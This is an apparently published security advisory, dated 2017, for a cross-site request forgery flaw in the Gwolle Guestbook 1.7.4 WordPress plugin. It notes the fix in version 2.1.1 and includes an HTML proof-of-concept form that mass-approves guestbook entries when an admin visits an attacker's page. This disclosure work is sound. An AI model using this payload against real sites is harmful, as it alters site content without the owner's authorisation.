WordPress Gwolle Guestbook 1.7.4 Cross Site Request Forgery
Posted on 03 March 2017
------------------------------------------------------------------------ Gwolle Guestbook mass action vulnerable for Cross-Site Request Forgery ------------------------------------------------------------------------ Radjnies Bhansingh, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Request Forgery (CSRF) vulnerability was found in the Gwolle Guestbook WordPress plugin. This issue can be used by an attacker to mass approve of disapprove entries. In order to exploit this issue, the attacker needs to lure a victim with editor or admin privileges to an attacker-controlled page or trick him into clicking a malicous link. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0001 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was succesfully tested on the Gwolle Guestbook WordPress Plugin version 1.7.4. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue was fixed in Gwolle Guestbook version version 2.1.1. The most recent version of Gwolle Guestbook can be obtained from the following location: https://wordpress.org/plugins/gwolle-gb/ ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/gwolle_guestbook_mass_action_vulnerable_for_cross_site_request_forgery.html The Gwolle guestbook allows actions to be performed on multiple entries at once (mass-action). Although actions performed on a single entry do provide protection against Cross-Site Request Forgery (CSRF) by using wp-nonces, mass-action lacks this protection. Since the entry IDs are enumerable it allows an attacker to mass approve of disapprove entries. Proof of Concept The following proof of concept code demonstrates this issue: <html> <body> <form action="http://<target>/wordpress/wp-admin/admin.php?page=gwolle-gb%2Fentries.php" method="POST"> <input type="hidden" name="gwolle_gb_page" value="entries" /> <input type="hidden" name="pageNum" value="1" /> <input type="hidden" name="entriesOnThisPage" value="2" /> <input type="hidden" name="show" value="all" /> <input type="hidden" name="massEditAction1" value="check" /> <input type="hidden" name="doaction" value="Apply" /> <input type="hidden" name="check-2" value="on" /> <input type="hidden" name="check-1" value="on" /> <input type="hidden" name="massEditAction2" value="-1" /> <input type="hidden" name="" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.